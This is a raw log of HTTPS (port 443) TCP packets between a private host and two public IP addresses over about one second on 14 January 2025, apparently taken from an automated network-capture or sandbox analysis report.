Jan 14, 2025 20:02:20.746404886 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.746452093 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.746500969 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.746515036 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.750147104 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.750215054 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.750228882 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.797353983 CET	443	49764	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.797415972 CET	443	49764	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.797470093 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.797476053 CET	49764	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.798248053 CET	49764	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.798289061 CET	443	49764	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.801632881 CET	49765	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.801685095 CET	443	49765	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.801759958 CET	49765	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.801942110 CET	49765	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.801959038 CET	443	49765	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.833934069 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.834136963 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.834227085 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.834233999 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.834316015 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.834522963 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.834578037 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.834599018 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.834659100 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.834671021 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.834758043 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.835164070 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.835176945 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.835438013 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.835520029 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.835577011 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.835589886 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.835642099 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.835653067 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.836215019 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.836278915 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.836289883 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.836376905 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.836461067 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.836515903 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.836528063 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.836577892 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.836884022 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.836981058 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.837024927 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.837085009 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.837100029 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.837145090 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.837721109 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.891366005 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.891432047 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.922801971 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.922899008 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.922902107 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.922929049 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.923094988 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.923166037 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.923185110 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.923211098 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.923237085 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.923257113 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.923281908 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.923305988 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.923371077 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.923384905 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.923435926 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.923448086 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.923984051 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.924052954 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.924066067 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.924129963 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.924565077 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.924648046 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.924680948 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.924740076 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.924770117 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.924837112 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.925616026 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.925683022 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.925715923 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.925779104 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.925805092 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.925865889 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.926505089 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.926569939 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.926594019 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.926652908 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.927407026 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.927478075 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:20.927514076 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:20.927575111 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.011548996 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.011657000 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.011691093 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.011763096 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.011838913 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.011955976 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.011971951 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.012027979 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.012073040 CET	443	49763	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.012075901 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.014224052 CET	49763	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.014935017 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.015019894 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.015105963 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.015356064 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.015389919 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.032181978 CET	49767	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:21.032274961 CET	443	49767	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:21.032366037 CET	49767	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:21.032608032 CET	49767	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:21.032645941 CET	443	49767	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:21.157052994 CET	49768	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.157144070 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.157260895 CET	49768	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.157470942 CET	49768	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.157494068 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.259892941 CET	443	49765	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.260252953 CET	49765	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.260284901 CET	443	49765	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.260627985 CET	443	49765	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.260960102 CET	49765	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.261023998 CET	443	49765	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.261178970 CET	49765	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.303349018 CET	443	49765	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.407939911 CET	443	49765	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.408111095 CET	443	49765	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.408194065 CET	49765	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.408644915 CET	49765	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.408668041 CET	443	49765	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.484783888 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.485069036 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.485136986 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.486285925 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.486560106 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.486654043 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.486686945 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.504000902 CET	443	49767	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:21.504232883 CET	49767	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:21.504261017 CET	443	49767	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:21.507596016 CET	443	49767	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:21.507680893 CET	49767	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:21.507970095 CET	49767	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:21.507988930 CET	49767	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:21.508029938 CET	49767	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:21.508059978 CET	443	49767	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:21.508107901 CET	49767	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:21.508399963 CET	49769	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:21.508470058 CET	443	49769	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:21.508544922 CET	49769	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:21.508721113 CET	49769	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:21.508738995 CET	443	49769	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:21.526974916 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.526994944 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.627408028 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.627700090 CET	49768	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.627720118 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.628015041 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.628704071 CET	49768	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.628751993 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.629564047 CET	49768	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.629617929 CET	49768	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.629637003 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.637866020 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.638003111 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.638072968 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.638099909 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.638129950 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.638175011 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.638227940 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.638385057 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.638431072 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.638459921 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.638561010 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.638612032 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.638623953 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.642302990 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.642379045 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.642390966 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.642466068 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.642514944 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.642525911 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.692140102 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.726114035 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.726315975 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.726407051 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.726413012 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.726447105 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.726505041 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.726516962 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.726758957 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.726804018 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.726814985 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.726934910 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.726974964 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.726985931 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.727366924 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.727410078 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.727431059 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.727443933 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.727494955 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.727499962 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.727515936 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.727570057 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.728358030 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.728441000 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.728486061 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.728492975 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.728507996 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.728571892 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.728581905 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.729268074 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.729324102 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.729326010 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.729335070 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.729381084 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.729392052 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.775405884 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.775419950 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.808588982 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.808734894 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.808815956 CET	49768	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.808844090 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.808969975 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.809020996 CET	49768	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.809034109 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.809171915 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.809216976 CET	49768	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.809227943 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.809377909 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.809423923 CET	49768	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.809436083 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.813221931 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.813297987 CET	49768	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.813322067 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.816370010 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.816457033 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.816471100 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.816580057 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.816632032 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.816643000 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.816756964 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.816776991 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.816807985 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.816821098 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.816844940 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.816859007 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.816904068 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.816909075 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.816924095 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.816950083 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.816979885 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.817032099 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.817044973 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.817096949 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.817260027 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.817308903 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.817325115 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.817399979 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.818162918 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.818200111 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.818208933 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.818223953 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.818253994 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.818269014 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.818298101 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.818306923 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.818331957 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.819118023 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.819156885 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.819166899 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.819185019 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.819211960 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.819222927 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.819346905 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.819358110 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.819397926 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.819978952 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.820024014 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.820040941 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.820056915 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.820085049 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.820105076 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.855556965 CET	49768	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.855580091 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.896502018 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.896579981 CET	49768	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.896600008 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.896717072 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.896764040 CET	49768	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.896778107 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.896929979 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.896976948 CET	49768	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.896996975 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.897131920 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.897178888 CET	49768	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.897188902 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.897314072 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.897367954 CET	49768	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.897377968 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.897497892 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.897547007 CET	49768	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.897557974 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.897814035 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.897870064 CET	49768	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.897882938 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.897990942 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.898047924 CET	49768	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.898058891 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.898696899 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.898751020 CET	49768	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.898761988 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.898889065 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.898935080 CET	49768	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.898946047 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.899082899 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.899136066 CET	49768	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.899147034 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.899549961 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.899594069 CET	49768	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.899605989 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.903913975 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.904644012 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.904740095 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.904771090 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.904840946 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.904870987 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.904921055 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.904941082 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.905044079 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.905097961 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.912136078 CET	49766	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.912167072 CET	443	49766	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.945980072 CET	49768	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:02:21.946003914 CET	443	49768	104.18.94.41	192.168.2.4
Jan 14, 2025 20:02:21.975097895 CET	443	49769	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:21.975428104 CET	49769	443	192.168.2.4	104.21.64.1
